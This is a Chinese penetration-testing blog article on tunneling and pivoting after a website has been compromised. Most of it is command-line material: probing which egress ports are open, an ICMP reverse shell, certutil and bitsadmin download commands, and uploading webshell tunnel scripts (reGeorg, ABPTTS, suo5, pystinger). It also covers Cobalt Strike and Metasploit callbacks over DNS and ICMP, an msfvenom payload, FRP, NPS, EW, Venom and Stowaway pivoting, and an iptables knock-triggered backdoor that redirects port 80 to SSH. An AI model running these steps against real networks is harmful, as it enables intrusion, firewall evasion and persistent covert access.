原创 | 内网安全之隧道代理
2023-11-5 00:3:15 Author: 白帽子(查看原文) 阅读量:7 收藏

探测出网协议和端口

我们拿下网站的shell之后,网站的防火墙很有可能对出网端口进行了一些设置,这时候我们就要探测可以出网的端口以便反弹Shell,配置socks代理等进一步操作

到底什么是不出网?

不出网大多数是由于防火墙规则以及路由等原因导致的 主机不能访问特定外部端口或者IP(注意是主机往外访问不了,不是外面访问不了主机,很多人会理所当然的理解成主机不出网=与世隔绝) ,如果限定了ip白名单我们无能为力,如果只开放了特定的端口,我们可以对特定的出网端口进行探测和利用

出网端口探测方法论

当某个端口不出网,那么我们访问外部的主机都会被拦截,例如80和443不出网,意味着我们访问80和443端口的网站都会出错,无论对方主机是否开放80和443,对其进行端口扫描都会显示closed。利用这个原理,如果我们想探测A主机的出网端口,我们只需要让A主机扫描我们的vps的全端口或者常用端口,如果显示开放,那么A主机的端口也一定是出网 使用 python -m http.server搭建一个持久化可监听端口,并且使用iptables将所有端口转发到8000
//将所有端口的流量都转发到 8000 端口iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 8000//查看 nat 表的规则iptables -t nat -nvL//清楚 nat 表所有规则iptables -t nat -F//备份 iptables 规则iptables-save > /tmp/firewall.rules//恢复 iptables 规则iptables-restore < /tmp/firewall.rules
我们给主机配置出站规则,只允许8000-8004端口出网,其他端口阻止连接

使用任意的端口扫描工具对远程主机进行探测,发现成功探测出这5个端口

端口扫描工具

linux命令行扫描
for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************" || echo "$i closed";done
for i in {21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001,7002,8000,8001,8080,8090,9000,9090,11211};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************" || echo "$i closed";done

fscan masscan kscan 御剑tcp扫描等等看个人喜好 探测端口的范围可根据nmap常用端口来

grep -i "services\=" foo.xml | sed -r 's/.*services\=\"(.*)(\"\/>)/\1/g'

出网协议探测

ICMP协议 vps监听tcp流量 tcpdump icmp,目标主机Ping vps如果收到消息那么icmp协议出网

DNS协议 windows和linux命令不同,如果能解析域名说明dns出网
Windows:nslookup、pingLinux:nslookup、dig、ping

HTTP协议 只要能访问该地址的命令都算

linux:wget curl
windows:certutil -urlcache -split -f http://192.168.10.13/1bitsadmin /transfer test http://192.168.10.13/1 c:\1

如果HTTP隧道,DNS隧道等方式都失败了,但是Ping命令好用,就可以尝试ICMP隧道

使用 Icmpsh 进行命令控制

Icmpsh地址:
git clone https://github.com/inquisb/icmpsh.git 
只能用于windows的shell反弹 使用vps关闭icmp回复 sysctl -w net.ipv4.icmp_echo_ignore_all=1否则反弹回来的Shell会一直刷新 在vps执行之前要安装impacket库这里不在陈述,执行 python2 icmpsh_m.py vps网卡eth0的ip 目标主机出网ip 在目标主机执行 icmpsh.exe -t vps公网ip -d 500 -b 30 -s 128
-t:指定远程主机 ip -d:请求之间的延迟,单位为毫秒,默认 200 -b:退出前的最大空格数(未应答的 icmp 请求)-s:最大数据缓冲区的字节大小(默认值为 64 个字节)

成功反弹交互式shell

使用wireshark也可以发现两者之间通信全部用的ICMP包

使用PingTunnel搭建隧道

pingtunnel 是一款把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具

开启正向socks代理

注意这里是正向socks,服务端指的是目标主机,客户端指的是vps 关闭 icmp 回复
sysctl -w net.ipv4.icmp_echo_ignore_all=1

服务端开启监听

pingtunnel.exe -type server -noprint 1 -nolog 1

客户端操作

./pingtunnel -type client -l :1080 -s 192.168.3.132 -sock5 1 -noprint 1 -nolog 1

进行端口转发

服务端开启监听
pingtunnel.exe -type server -noprint 1 -nolog 1

客户端将服务端8000端口转发到本地8080端口

./pingtunnel -type client -l :8080 -s 192.168.3.132 -t 192.168.3.132:80 -tcp 1 -noprint 1 -nolog 1

访问本地8080端口相当于访问8000端口

当然-t参数不是只允许填服务端的ip,也可以是A通过B转发到C B是服务端 A是客户端 C是-t的参数

ICMP 上线 CobaltStrike

场景192.168.3.1与192.168.3.132为同一内网 192.168.3.128为cs,出站只能用icmp,我们要让192.168.3.132上线只需要让其流量发送到192.168.3.1,在又其转发icmp包到cs主机即可让192.168.3.132 的流量发送到192.168.3.1,然后再通过icmp端口转发转发给cs就行了,配置cs监听器,注意最下方的监听端口需要设置,网上很多都是设置两个监听器,我这样配置一个就行了,6666是抓发到3.1的,5544是icmp转发到cs的

cs开启监听./pingtunnel -type server -noprint 1 -nolog 1 192.168.3.1
开启转发 pingtunnel -type client -l :6666 -s 192.168.3.128 -t 192.168.3.128:5544 -tcp 1 -noprint 1 -nolog 1 
生成stageless木马,在3.132主机运行成功上线cs

可以看到内网主机之间的通信是tcp

与cs服务器的通信为Icmp

DNS协议表面是解析域名返回ip,实际上可以返回任何数据,一台主机看似是不出网了,我们就可以利用它的DNS服务器和主机进行交互,将其他协议封装在DNS协议进行传输

CobaltStrike 中 DNS Beacon 的使用

准备工作:一台公网C2服务器,一个自己的域名 在进行 DNS 查询时,如果查询的域名不在 DNS 服务器本机缓存中, 就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依 靠 DNS 协议即可进行数据包的交互。从 DNS 协议的角度来看,这样的操作只是在一次次 地查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个 IP 地址,而事实上返回的可以是任意的字符串,包括加密的 C&C 指令。具体实现就是利用NS记录把dns服务器定向为我们自己的服务器,这样就可以自定义返回内容 小tips: 网上的做法就是设置一个A记录指向自己的ip,然后ns记录指向自己的域名

然后配置一个dns监听器,然后生成stagerless的马然后上线

其实这种做法有点多此一举,A记录域名那里完全可以置空,照样可以上线,如果CS默认不让为空,你可以把ip写个1或者任意ip试一下照样能上线,同理关于HTTP的马以及其他类型的马,只要是生成stagerless的马,第二个ip都可以置空,因为第一个ip是指定马的反弹ip,第二个Ip是为了给stager的马接收payload用,而stagerless的马是完整了不需要再次通信接收paylpad 默认情况下上线之后主机是黑色的,需要执行以下两条命令显示出主机信息

利用iodine搭建隧道

项目地址:GitHub - yarrick/iodine: Official git repo for iodine dns tunnel 下载到linux之后 make && make install进行安装即可 执行以下命令启动服务端
iodined -f -c -P helloworld 192.168.10.1 ns.kaeiy.xyz -DD

-f:在前台运行 -c:禁止检查所有传入请求的客户端 IP 地址 -P:指定密码 -D:指定调试级别。-DD 指第二级,D 的数量随等级增加 这里的 192.168.10.1 是自定义的局域网虚拟 IP 地址

配置完成之后访问如下网站进行测试 
[https://code.kryo.se/iodine/check-it/](https://code.kryo.se/iodine/check-it/)

服务端启动成功之后发现我们电脑上多了一块网卡

客户端连接服务端
iodine.exe -f -P helloworld -M 200 ns.kaeiy.xyz
发现客户端也多了一块网卡

此时服务端可ping通客户端

curl也完全正常

当我们拿到shell,目标又完全不出网,就只能用HTTP隧道

reGeorg

项目地址:GitHub - sensepost/reGeorg: The successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn. reGeorg是采用python2开发的http正向代理工具 上传代理脚本到目标网站,使用执行以下命令连接即可
python2 reGeorgSocksProxy.py -l 0.0.0.0 -p 1080 -u http://192.168.3.132/tunnel.nosocket.php
使用代理工具连接服务器即可

Neo-reGeorg

是reGrorg的升级版,具有传输流量加密,支持python2/3等许多优点 项目地址:GitHub - L-codes/Neo-reGeorg: Neo-reGeorg is a project that seeks to aggressively refactor reGeorg 使用命令生成我们自定义key的脚本
python3 neoreg.py generate -k admin12345678

将脚本放到目标网站下,使用命令进行连接

python3 neoreg.py -l 0.0.0.0 -p 1080 -k admin12345678 -u http://192.168.3.132/tunnel.php

自定义访问页面

自己先在脚本目录下随便创建一个html文件 生成脚本执行以下命令
python3 neoreg.py generate -k admin --file test.html --httpcode 200

访问脚本就会出现代码雨

ABPTTS

一款基于 SSL 加密的 HTTP 端口转发工具,全程通信数据加密,比reGerog都要稳定。使用 python2 编写,但是该工具只支持 aspx 和jsp 脚本的网站 项目地址:GitHub - nccgroup/ABPTTS: TCP tunneling over HTTP/HTTPS for web application servers 需要提前安装两个库,如果在kali下安装用管理员安装
python2 -m pip install pycryptodemopython2 -m pip install httplib2

执行以下命令生成webshell

python2 abpttsfactory.py -o webshell

将abptts.jsp文件复制到网站目录下进行访问

执行以下命令将远程3389端口映射到本地
python2 abpttsclient.py -c webshell/config.txt -u http://192.168.3.132:8080/abptts.jsp -f 127.0.0.1:3389/192.168.3.132:3389 --unsafetls
mstsc连接本地127.0.0.1即可远程连接主机

reDuh

项目地址:GitHub - sensepost/reDuh: Create a TCP circuit through validly formed HTTP requests 将对应的脚本上传到网站目录,访问如下

使用 reDuhClient.jar 连接脚本地址
java -jar reDuhClient.jar http://192.168.3.132:8080/reDuh.jsp
他在本地开放一个1010端口,我们使用nc进行连接
nc -vv 127.0.0.1 1010
将本地的6666端口映射到远程的3389端口
[createTunnel]6666:127.0.0.1:3389
成功连接

Tunna

Tunna是2014年出品的一款基于HTTP隧道工具,可对任何通过 HTTP 的 TCP 通信进行包装和隧道传输 项目地址:GitHub - SECFORCE/Tunna: Tunna is a set of tools which will wrap and tunnel any TCP communication over HTTP. It can be used to bypass network restrictions in fully firewalled environments. 将脚本上传到网站目录,访问结果如下

将远程的3389转发到本地的1234端口
python proxy.py -u http://192.168.3.132:8080/conn.jsp -l 1234 -r 3389 -s -v

该软件不稳定,慎用

suo5

suo5 是一个全新的 HTTP 代理隧道,基于 HTTP/1.1 的 Chunked-Encoding 构建。相比 Neo-reGeorg 等传统隧道工具, suo5 的性能可以达到其数十倍。目前仅支持jsp 将脚本上传到对应的网站目录,访问如下

使用客户端连接生成启动socks
suo5-windows-amd64.exe -t http://192.168.3.132:8080/suo5.jsp -l 0.0.0.0:7788 --auth test:test123
配置好代理,成功连接

上线MSF与CS

上线MSF

使用abptts将远程的8888端口映射到vps的7777端口
python2 abpttsclient.py -c webshell/config.txt -u http://192.168.3.132:8080/abptts.jsp -f 127.0.0.1:7777/127.0.0.1:888

kali生成正向木马,让端口设置为8888,这样msf访问7777会通过HTTP隧道转发到8888上从而绕过防火墙

msfvenom -p windows/x64/meterpreter/bind_tcp lport=8888 -f exe >shell.exe

MSF配置好exp

成功上线

上线msf写完之后我才意识到根本不用这么麻烦,越想越不对劲,他是不出网不是不入网,直接正向代理连过去就行了,也不需要上面的端口转发。。。。。只能说作为一种思路参考吧。。。。

上线cs

项目地址:GitHub - FunnyWolf/pystinger: Bypass firewall for traffic forwarding using webshell 一款使用webshell进行流量转发的出网工具 使用该项目可以上线cs
  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8
  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端
不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连
  • vps执行./stinger_client -w
http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
  • 如下输出表示成功
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 600002020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:600002020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:600102020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:600202020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 512002020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:600202020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.012020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:600202020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:600202020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:600002020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • 此时已经在vps127.0.0.1:60000启动了一个example.com所在内网的socks4a代理
  • 此时已经将目标服务器的127.0.0.1:60020映射到vps的127.0.0.1:60020
cobalt strike单主机上线
  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8
  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端
不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连
  • stinger_client命令行执行./stinger_client -w
 http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
  • 如下输出表示成功
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 600002020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:600002020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:600102020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:600202020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 512002020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:600202020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.012020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:600202020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:600202020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:600002020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • cobalt strike添加监听,端口选择输出信息RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为127.0.0.1
  • 生成payload,上传到主机运行后即可上线

FRP

FRP是一款简单、稳定高性能的内网反向代理工具,可以轻松的实现内网穿透。下载地址:Releases · fatedier/frp

FRP进行反向socks代理

服务端 frps.ini
[common]bind_addr = 0.0.0.0bind_port = 7000  //客户端反连的端口dashboard_addr = 0.0.0.0dashboard_port = 7001  //开启仪表盘的端口dashboard_user = root  //仪表盘登录账号dashboard_pwd = root   //仪表盘登录密码token = 0EDgBme3IdfeJSTd  //客户端反连验证token

检查配置文件是否正确 ./frps verify -c ./frps.ini 启动服务端 ./frps -c ./frps.ini

客户端 frpc.ini
[common]server_addr = 192.168.3.128  //服务端ipserver_port = 7000   //服务端端口token = 0EDgBme3IdfeJSTd   //认证tokenpool_count = 5health_check_type = tcphealth_check_interval_s = 100[test]  //服务名称,可自定义remote_port = 12345  //开启服务端12345当做socks端口plugin = socks5  //使用socks5代理模块use_encryption = true  //加密流量use_compression = true  //压缩流量plugin_user = admin  //socks连接账号plugin_passwd = 123456  //socks连接密码

启动客户端 ./frpc -c ./frpc.ini

服务端也收到请求

成功连接socks服务

我们之前开启了服务端的仪表盘可以浏览器访问查看状态

使用FRP进行端口映射

远程映射RDP端口 服务端 frps.ini 不变
[common]bind_addr = 0.0.0.0bind_port = 7000dashboard_addr = 0.0.0.0dashboard_port = 7001dashboard_user = rootdashboard_pwd = roottoken = 0EDgBme3IdfeJSTd
客户端 frpc.ini 将本地的3389端口映射到远程服务器的7788端口
[common]server_addr = 192.168.3.128server_port = 7000token = 0EDgBme3IdfeJSTd[RDP]local_ip = 127.0.0.1local_port = 3389remote_port = 7788
mstsc连接服务器7788端口

成功登录

远程映射WEB端口 服务端不变,客户端配置如下
[common]server_addr = 192.168.3.128server_port = 7000token = 0EDgBme3IdfeJSTd[HTTP]type = tcplocal_ip = 127.0.0.1local_port = 80remote_port = 7788
映射完成之后访问服务端7788端口

同理可以完成其他对端口的映射

NPS

下载地址:
https://github.com/ehang-io/nps/releases 
NPS 是一款轻量级、高性能、功能强大的内网穿透代理服务器。支持tcp、udp 流量转发,可支持任何 tcp、udp 上层协议,此外还支持内网http代理、内网 socks5 代理、p2p 等,并带有功能强大的 web 管理端。下载系统对应版本后 linux ./nps install windows nps.exe install 安装nps 默认配置文件在 nps/conf/nps.conf 记录了nps的监听端口,账号密码等 nps默认监听端口如下,如果端口有冲突记得修改端口
http_proxy_port:80https_proxy_port:443bridge_port :8024web_port :8080
nps常用命令 nps start nps stop nps -version 默认登录端口是 8080 账号 admin 密码 123 新增nps客户端

使用客户端连接,客户端只需要单独的exe文件,压缩包里的配置文件可以丢掉
npc.exe -server=192.168.3.128:8024 -vkey=mxkt13ximrr7o3d2

连接成功之后发现仪表盘里客户端已经显示为在线,这时候我们就可以对客户端做操作

搭建nps反向socks代理

在socks代理新建socks代理,填写客户端id和服务器开放的socks端口即可

使用proxifier进行连接,用户名和密码是创建客户端时自定义的用户名

搭建tcp隧道进行端口映射

如果该端口只对内网开放,我们就可以把端口映射出来,当然也可以填写内网的其他主机,看自己的需求

连接成功,其他端口同理

搭建UDP隧道进行端口映射

该场景使用不多,但是和TCP端口映射一个原理,比如53端口是DNS服务器端口,DNS使用UDP协议 我们可以把内网的DNS服务器的IP映射到公网服务器上的自定义端口,这样把DNS服务器设置为公网的服务器就可以使用内网的DNS服务器进行解析

搭建HTTP正向代理

我们使用公网的8888端口作为HTTP代理访问内网网站

使用proxifier设置HTTP代理或者直接用浏览器插件设置都可以 这时访问内网网站的地址,验证客户端账号密码

访问成功

搭建SSH私密代理

其实就是加密的TCP隧道,为了防止其他人使用 配置好目标机器和秘钥

点击加号会出现远程端命令,这个命令例如A想通过VPS连接内网的B,那么这条命令是A来执行

执行之后会显示将端口绑定在本地的2000端口上

mstsc访问本地2000端口即可

如果想自定义本地绑定端口可以用以下命令
npc -server=192.168.3.128:8024 -vkey=mxkt13ximrr7o3d2 -type=tcp -password=123456 -local_type=secret -local_port=8888

EW

ew 全称是 EarchWorm,是一套轻量便携且功能强大的网络穿透工具,基于标准 C 开发,具有 socks5 代理、端口转发和端口映射三大功能,可在复杂网络环境下 完成网络穿透,且支持全平台(Windows/Linux/Mac)。但是该应用官网现已下架,但在github仍可搜到。这个工具说实话命令晦涩难懂,实际中对大型网络的渗透没必要用,有其他好用的代理软件,并且已经被杀毒软件标记,把最基本的正反向代理学会即可,其他命令没必要深究。

EW正向代理

Web服务器的设置 如果是Linux系统 ./ew_for_linux64 -s ssocksd -l 1080 #监听本地的1080端口
如果是Windows系统 ew_for_Win.exe -s ssocksd -l 1080 #监听本地的1080端口 主机的设置 如果是Linux系统,配置proxychains代理链的配置文件,将代理设置成 100.100.10.12的1080端口:socks5 100.100.10.12 1080 然后命令前面加上 proxychains即可。如:proxychains curl 192.168.10.19 如果是Windows系统,直接浏览器中设置代理为 100.100.10.12的1080端口,或者利用 Proxifier 、sockscap64 设置全局代理

EW反向代理

Web服务器的设置 Linux系统:./ew_for_linux64 -s rssocks -d 100.100.10.13 -e 8888 #将本机的流量全部转发到100.100.10.13的8888端口 Windows系统:ew_for_Win.exe -s rssocks -d 100.100.10.13 -e 8888 #将本机的流量全部转发到100.100.10.13的8888端口 主机的设置 
如果是Linux系统:./ew_for_linux64 -s rcsocks -l 1080 -e 8888 #将本机的8888端口的流量都转发给1080端口,这里8888端口只是用于传输流量 然后配置proxychains代理链的配置文件,将代理设置成 127.0.0.1的1080端口:socks5 127.0.0.1 1080 然后命令前面加上 proxychains即可。如:proxychains curl 192.168.10.19 
如果是Windows系统 ew_for_Win.exe -s rcsocks -l 1080 -e 8888 #将本机的8888端口的流量都转发给1080端口,这里8888端口只是用于传输流量 然后浏览器中设置代理为 100.100.10.12的1080端口,或者利用 Proxifier 、sockscap64 设置全局代理

IOX

端口转发 & 内网代理工具,功能类似于lcx/ew,但是比它们更好

为什么写iox?

lcx和ew是很优秀的工具,但还可以提高 在最初使用它们的很长一段时间里,我都记不住那些复杂的命令行参数,诸如tran, slave, rcsocks, sssocks。工具的工作模式很清晰,明明可以用简单的参数表示,为什么他们要设计成这样(特别是ew的-l -d -e -f -g -h) 除此之外,我认为网络编程的逻辑可以优化 举个栗子,当运行lcx -listen 8888 9999命令时,客户端必须先连:8888,再连:9999,实际上这两个端口是平等的,在iox里则没有这个限制。当运行lcx -slave 1.1.1.1 8888 1.1.1.1 9999命令时,lcx会串行的连接两个主机,但是并发连接两个主机会更高效,毕竟是纯I/O操作,iox就是这样做的 更进一步,iox提供了流量加密功能 (当目标有IDS时会很有用)。实际上,你可以直接将iox当做一个简易的ShadowSocks使用 iox还提供了UDP流量转发的功能 当然,因为iox是用Go写的,所以静态连接的程序有一点大,原程序有2.2MB(UPX压缩后800KB)

特性

  • 流量加密(可选)
  • 友好的命令行参数
  • 逻辑优化
  • UDP流量转发
  • 反向代理模式中使用TCP多路复用

工作模式

fwd

监听 0.0.0.0:8888 和0.0.0.0:9999,将两个连接间的流量转发
./iox fwd -l 8888 -l 9999

监听本地 8888 端口和 9999 端口,将两个连接间的流量进行转发,流量加密

./iox fwd -l *8888 -l *9999 -k 656565

监听0.0.0.0:8888,把流量转发到1.1.1.1:9999

./iox fwd -l 8888 -r 1.1.1.1:9999

连接1.1.1.1:8888和1.1.1.1:9999, 在两个连接间转发

./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999

利用iox进行端口映射

vps开启监听
./iox fwd -l *4455 -l 3389 -k 656565

内网主机进行端口转发

iox.exe fwd -r 192.168.3.131:3389 -r *192.168.3.128:8888 -k 656565

成功连接

proxy

socks5 反向代理 vps执行
./iox proxy -l *9999 -l *1080 -k 656565

内网机器执行

iox.exe proxy -r *192.168.3.128:9999 -k 656565

Venom

Venom 是一款为渗透测试人员设计的使用 Go 开发的多级代理工具。Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。渗透测试人员可以使用Venom 轻松地将网络流量代理到多层内网,并轻松地管理代理节点。项目地址:GitHub - Dliv3/Venom: Venom - A Multi-hop Proxy for Penetration Testers 具体的命令参数请看项目地址介绍,这里只列出常用的命令

一级代理

反向socks代理 vps进行监听 admin.exe -lport 7777

客户端进行连接 .\agent.exe -rhost 192.168.3.1 -rport 7777

admin收到连接使用Show命令刷新节点数量,发现1节点

使用goto命令跳转到1节点,使用socks命令在vps建立1080端口代理

成功连接

使用shell命令可在节点上开启交互式shell窗口 exit命令退出

配置主机的备注

正向socks代理 在目标主机使用agent进行监听 .\agent.exe -lport 8888 vps使用admin正向连接 admin.exe -rhost 192.168.3.131 -rport 8888

二级代理

在已经拿下一台内网A主机的基础上,想通过A主机连接B主机 反向连接 A节点使用listen命令监听端口

b主机进行反向连接成功连接

正向连接 B节点开启监听,A节点主动连接

如果目标主机是linux可以建立ssh隧道,目标机器开启监听

使用1节点 sshconnect连接,注意这里运行admin的vps必须要有ssh服务才能连接,否则连接时会报unknown choice

upload命令上传文件到目标机器

download命令同理这里不在赘述 lforward 将vps端口转发到node节点,例如将vps 3389转发到Node节点3389
lforward 127.0.0.1 3389 3389

rforward 将node节点转发到vps 3389

rforward 127.0.0.1 3389 3389

以上两个端口转发内网其他地址也可以 学习了二级代理后多级代理是一个原理不在赘述

rakshasa

rakshasa是一个用Go编写的程序,旨在创建一个能够实现 多级代理 ,内网穿透网络请求。它可以在节点群中任意两个节点之间转发tcp请求和响应,同时支持 socks5代理 , http代理 ,并可 引入外部http、socks5代理池,自动切换请求ip 。节点之间使用内置证书的TLS加密TCP通信,再叠加一层自定义秘钥的AES加密。该程序可在所有Go支持的平台上使用,包括Windows和Linux服务器。项目地址:GitHub - Mob2003/rakshasa: 基于go编写的跨平台、稳定、隐秘的多级代理内网穿透工具

为了方便演示,这里全部用的fullnode分为CLI模式和非CLI模式,如果使用CLI模式用法比较直观简单,去看演示文档即可不再累赘
https://github.com/Mob2003/rakshasa/blob/main/readme/rakshasa%E9%A1%B9%E7%9B%AE%E8%AE%BE%E8%AE%A1.md

Stowaway

Stowaway是一个利用go语言编写、专为渗透测试工作者制作的多级代理工具 用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并轻松实现管理功能

一级代理

vps开启监听 
.\windows_x64_agent.exe -c 192.168.3.1:6666 --reconnect 5
windows_x64_admin.exe -l 6666

内网主机连接vps,每五秒重发一次

.\windows_x64_agent.exe -c 192.168.3.1:6666 --reconnect 5
查看一下详细信息和本节点下的拓扑结构

使用0节点,开启socks和关闭socks

执行shell命令

二级代理

想通过node 0节点连接其他节点,先在node 0节点监听8888端口

内网主机进行连接
./linux_x64_agent -c 192.168.3.131:8888

MSF与CS隧道搭建与端口转发

运行以下命令自动添加路由
run post/multi/manage/autoroute OPTION=value
查看路由
route print
这个路由是msf全局的,不是局限于某个session,添加好路由之后开启socks代理即可
se auxiliary/server/socks_proxyset version 4aset SRVHOST 0.0.0.0set SRVPORT 1080run

将目标主机的3389转发到本地的3389,需要先 load stdapi

portfwd add -l 3389 -r 192.168.3.131 -p 3389
cs端口转发,将远程的3333转发给自己的889
rportfwd 3333 127.0.0.1 889

网上有很多,包括iptables,winrm,以及脚本的代理转发等,出了iptables感觉实用性都不大,因此这里只写iptables 当一个linux系统只允许80端口入网,就需要做端口复用,当然我认为使用http隧道做端口转发也可以

根据源地址做端口复用

将192.168.3.1访问80端口的流量都转发到22端口
iptables -t nat -A PREROUTING -p tcp -s 192.168.3.1 --dport 80 -j REDIRECT --to-port 22

查看nat表规则

iptables -t nat -nvL

清除nat表规则

iptables -t nat -F

此时已经添加成功

这时连接80是能连接的

利用tcp协议做遥控开关

创建端口复用链
iptables -t nat -N LETMEIN2

创建端口复用规则,将流量转发至 22 端

iptables -t nat -A LETMEIN2 -p tcp -j REDIRECT --to-port 22

开启开关,如果接收到一个含有 threathuntercoming 的 TCP 包,则将来源 IP 添加到 加为 letmein2 的列表中

iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name LETMEIN2 --rsource -j ACCEPT

关闭开关,如果接收到一个含有 threathunterleaving 的 TCP 包,则将来源 IP 从 letmein2 的列表中移出

iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name LETMEIN2 --remove -j ACCEPT

如果发现 SYN 包的来源 IP 处于 letmein2 列表中,将跳转到 LETMEIN2 链进行处 理,有效时间为 3600 秒

iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name LETMEIN2 --rsource -j LETMEIN2
开启复用,开启后本机到目标 80 端口的流量将转发至目标的 SSH
echo threathuntercoming | socat - tcp:192.168.3.128:80

关闭复用,关闭后,80 恢复正常

echo threathunterleaving | socat - tcp:192.168.3.128:80

这篇文章几乎囊括了渗透测试中的所有主流代理软件,以及他们的详细用法和场景使用,书写不易,希望能帮到大家

往期推荐

原创 | 一文带你理解tcache缓存投毒

原创 | ClassLoader动态类加载

原创 | SpringWeb常见鉴权措施与垂直越权检测


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650247102&idx=1&sn=b43fadffd5aeded407adde44229e3f4b&chksm=82ea5417b59ddd01e37c1f0244deef570bc51b2c6deec435951ec077c948e1a52fcb27833ad7&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh